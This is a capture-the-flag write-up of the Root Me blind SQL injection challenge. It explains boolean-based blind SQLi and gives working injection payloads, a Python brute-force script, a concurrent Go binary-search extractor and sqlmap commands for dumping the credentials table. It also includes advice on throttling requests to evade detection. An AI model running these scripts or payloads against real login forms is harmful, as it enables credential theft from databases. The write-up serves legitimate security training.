Understanding blind SQLi

SQL Injections (or SQLi) are a common way to extract data from a target.

Sometimes just running the right query can return all the data we need, but in other cases the result is not so obvious. That is the case in the Root Me SQL injection – Blind challenge that I’ll use for example sake. Of course, posting Root Me challenges solutions is forbiden, so I’ll only explain the general process and you can try it on your own. Some fields will also be redacted e.g. “administrator” or “administrator user” only refer to the access rights possessed by the user and are not real values.

This post will be split into three parts: the challenge explanation, blind SQLi explanation, and last the resolution with code examples (Python 3 and Go) as well as a bonus sqlmap approach.

Root Me challenge explanation

First, the challenge. This is a standard Root Me challenge, where we are tasked to find a flag. In this case, the flag is the administrator password, meaning it is not enough to log in via an SQLi as we would still be missing the password.

When starting the challenge, we are greeted with a login page:

img

Here the obvious procedure, as indicated by the challenge name, is to try and get entry by not just using a carefully crafted SQL injection, but a blind one. Indeed, we soon realise that either we get a failed log in or we get logged in. Sometimes a malformed SQL error, but we can’t extract data like in a normal SQLi.

That’s where the “blind” comes in!

img

img

img

What is a blinsqli

The blind SQLi is a type of SQLi so called because of the lack of output data from the target, thus the injecting process is akin to going in blind! However we’re not entirely blind. Blind SQLi can be used when the system responds differently to a failed and to a successful request. What does this mean? It means that while we can’t output the desired data directly, we can still slowly extract it.

Indeed, with there being two states it means we can ask binary questions! If the request goes through then it’s true, and if it fails then it’s false.

In our case we are trying to log in as the administrator user, so a request going through would be a request that shows us “Hi master”, while a failed request would show us “Error”.

We now know how we can extract data, so let’s get rolling!

Challenge resolution

To resolve this challenge we will need to extract the password, as mentioned earlier. This means we will always try to log in as the administrator user, and we will need to define a keyword present in the result of a successful request but not a failed one.

According to the previous picture, we can use either the name of the administrator or use “Hi master” that is only used to greet the administrator.

Extracting password length

In general to get the length of something in SQL we would use the length() function and be done with it. Here it is not that different, however we can only get true/false type answers. As such we can try the following payload:

administrator' AND length(redacted) == length -- -

Or if we prefer inequalities (useful for dichotomy, we will come back to it later):

administrator' AND length(redacted) > length -- -

We can also use an OR based query, however we would then need to limit the result. For example the above query is equivalent to:

administrator' OR length(redacted) > length limit 1,1 -- -

With length being the length we want to test for.

Having the length, we can then proceed to extracitng the password.

Extracting password

Extracting the password is a bit different, as we would normally use a SELECT password from Users WHERE UserName = 'Administrator' or something of the kind.

Here it is not possible. What we can use though is the SQL substr() function on one character at a time, to compare with with our input. This is done by setting 1 as the last parameter.

The payload would look something like:

administrator' AND substr(redacted, pos, 1) = l

With redacted the source string, in our case the one containing the password, pos being the index in the string and last but not least l being the letter we are testing for.

Once again, we can use > and < operators as well, which will be useful for the dychotomic approach.

Let’s get coding!

Naive approach (Python)

A naive approach would be to bruteforce the length and password sequentially. Let’s see what it looks like in Python (I did not implement length extraction, see Go implementation of getLength()).

This approach is simple, we just iterate over the length of the password and try a list of characters against each character in the password. I’ll use string.printable for the list of characters.

import urllib.request, urllib.parse, string, sys
from bs4 import BeautifulSoup as bs

I use urllib to handle the HTTP requests, another useful library is Requests. string allows me to use string.printable to get all the printable characters, and finally BeautifulSoup is very useful to handle HTML or XML.

password = ''
found = False
for j in range(1, redacted_length):

First let’s declare variables for the password and ’found’, which we will use to break the loop and to error out if our character set does not match the password we are trying to extract.

    found=False
    for i in string.printable:
        payload= '\' OR substr(redacted,' + str(j) + ',1)=\'' + i + '\'-- -'
        params = { 'username': payload, 'password': 'whatever' }
        value = urllib.parse.urlencode(params).encode("utf-8")
        request = urllib.request.Request("http://challenge01.root-me.org/web-serveur/ch10/", value)
        response = urllib.request.urlopen(request)

        soup = bs(response.read(), 'html.parser')
        if(soup.findAll('h2', string='Hi master')):
            found=True
            password += i
            break
    if(not found):
        sys.exit(1); # Exit with error
print(password)

Nothing magical happening here, as explainecd earlier we iterate on string.printable characters for each character in the password and substitute both of those in our payload. Then we build the request with the params, amongst which our payload, with urllib. We then execute the request and read the response then process it with BeautifulSoup, looking for our keyword (“Hi master”).

If the character is found we append it to the password, if not we exit with an error. It does the job, however as the title suggest this is naive/low effort approach, and we can do better!

Thoughtful approach (Go)

A more thoughtful approach makes use of dichotomy, leveraging inequalities instead of the equality checks used above.

For this approach, we split the problem in two with each iteration, this allows us to reduce the execution time by a lot and also, and it’s really important, to reduce the number of requests!

img Dichotomy, looking for 4 in a sorted array – Courtesy of LoStrangolatore, CC BY-SA 3.0

This is important as we don’t want to flood the logs of the target with our requests, ideally we would also space the checks by introducing a sleep() between each iteration to avoid or at least lower the chance of detection, by blending in with the rest of the traffic.

Here I was more interested in how quickly can I get the result, so I also introduced concurrency, through goroutines. Do this moderately (it increases the load on the server, which is not nice) and at your own risk.

Let’s see how we can get the length of the password! I don’t use dichtomy, as I thought about it afterwards. If you still wanted to use dichotomy you can take a look at how bruteforceChar(i int) does it.

func getLength() int {
	length := -1
	looking := true

	for looking {
		length++
		payload := `' OR length(redacted)>` + strconv.Itoa(length) + ` limit 1,1-- -`
		query := targetUrl.Query()
		query.Set("password", "whatever")
		query.Set("username", payload)
		resp, err := http.PostForm(targetUrl.String(), query)
		if err != nil {
			log.Fatal(err)
		}
		defer resp.Body.Close()
		body, err := ioutil.ReadAll(resp.Body)
		looking, _ = regexp.Match(keyword, body)
	}

	return length
}

While the length is not found, we loop and send the payload we’ve seen above in Extracting password length. It’s a bit verbose!

Notice that we look for our keyword in the response body, this is our indicator of a failed or successful request.

Now that we have the length, we can fetch the password. I’ll make some helper functions. compareToPassword(i int, l string, operator string) bool that will build the payload with the index and letter we try for, as well as the operator used (< or =), and then execute it.

func compareToPassword(i int, l string, operator string) bool {
	payload := `administrator' AND substr(redacted,` + strconv.Itoa(i+1) + `,1)` + operator + `'` + l + `' -- -`
	query := targetUrl.Query()
	query.Set("password", "whatever")
	query.Set("username", payload)
	resp, err := http.PostForm(targetUrl.String(), query)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
		body, err := ioutil.ReadAll(resp.Body)
	match, _ := regexp.Match(keyword, body)

	return match
}

bruteforceChar(i int) that will do the binary search and call compareToPassword(i int, l string, operator string) bool:

func bruteforceChar(i int) {
	defer wg.Done()

	var low rune // U+0000
	var mid rune
	high := unicode.MaxLatin1

	for low < high {
		mid = (low + high) / 2
		l := mid
		if compareToPassword(i, string(l), ">") {
			low = mid + 1
		} else {
			high = mid
		}
	}

	// low == high
	if compareToPassword(i, string(low), "=") {
		mux.Lock()
		password[i] = low
		mux.Unlock()
	} else {
		panic("Not in Latin1")
	}
}

Here there is new stuff, first we have defer wg.Done() which tells the WaitGroup that the task is done, I’ll come back to it later when we talk about the use of goroutines. Then we have the use of rune which may look surprising to non Go initiates. A rune in Go is an alias for int32 and is used to store characters, as we now mainly use unicode which has lengthy characters as opposed to ASCII for which an int8 would have sufficed. The lowest possible rune we test will be U+0000 and for the highest one it will be the highest in the Latin1 charset, which fits my purpose well here. You are kindly invited to change it according to the purpose at hand, for example none of the Asian glyphs are in this charset so it would be ill-fitted for an Asian target.

After this is the dichotomy, while the two opposite pointers haven’t crossed there is still work to be done. We calculate the middle of these two pointers, and this is the letter we will try, we compare with the superior operator, allowing us to eliminate half the possibilities at once.

When the character is found, we add it in password at the right index and break out of the loop.

And now to tie it all together:

func main() {
	passwordLength := 0

	fmt.Println("Starting password extraction")
	fmt.Print("Password length: ")
	passwordLength = getLength()
	fmt.Print(passwordLength, "\n")
	password = make([]rune, passwordLength)
	fmt.Print("Password: ")

	wg.Add(passwordLength)
	for i := 0; i < passwordLength; i++ {
		go bruteforceChar(i)
	}
	wg.Wait()
	fmt.Println(string(password))
}

For each character, we call bruteforceChar(i int) in a goroutine, as shown by the go keyword. This means each character can be found concurrently, and this is where we need the WaitGroup to assure that we get all the characters before printing the result.

Here we tell the WaitGroup it needs to wait for passwordLength processes, in each process we defer wg.Done(), meaning we tell to the WaitGroup that this process is done (defer calls the method before the encompassing function returns). At the end we wait for all processes to finish with wg.Wait().

That’s it!

Conclusion

While SQLis require SQL knowledge and may seem mysterious or intimidating at first, especially so blind ones, they are actually pretty easy to understand conceptually. And in the case of this Root Me challenge, we get nice enough feedback to determine our success condition. In some cases, these are not available and the only thing to go with is the request execution time.

This is actually another type of blind SQLi, time-based blind SQLi. To go further I suggest to explore this other type of blind SQLi. A Root Me challenge is also avaible for it here: SQL injection – Time based!

Bonus: sqlmap approach

As a bonus, let’s see how we can resolve this challenge by using state of the art tools, namely sqlmap.

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --tables  --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite

--technique=B: use blind SQLi

-p username: inject parameter username

--tables: enumerate tables

This gives us:

Database: SQLite_masterdb
[1 table]
+----------+
| redacted |
+----------+

We continue by fetching the columns of this table.

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb  -T redacted --columns --time-sec=10 --threads=4

-D SQLite_masterdb: target database

-T redacted: target table

--columns: enumerate columns

--threads=4: speedier ;)

Database: SQLite_masterdb
Table: redacted
[3 entries]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| redacted_c1 | redacted |
| redacted_c3 | redacted |
| redacted_c3 | redacted |
+-------------+----------+

Good, looks like the info we need is here. Last query:

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb  -T users --time-sec=10 --dump --threads=4

--dump: dump the table content

-C "column1","column2" (not used here): only dump listed columns

Database: SQLite_masterdb
Table: users
[3 entries]
+-------------+-------------+-------------+
| redacted_c1 | redacted_c2 | redacted_c3 |
+-------------+-------------+-------------+
| redacted    | redacted    | redacted    |
| redacted    | redacted    | redacted    |
| redacted    | redacted    | redacted    |
+-------------+-------------+-------------+

Voilà!

#blinsqli #rootme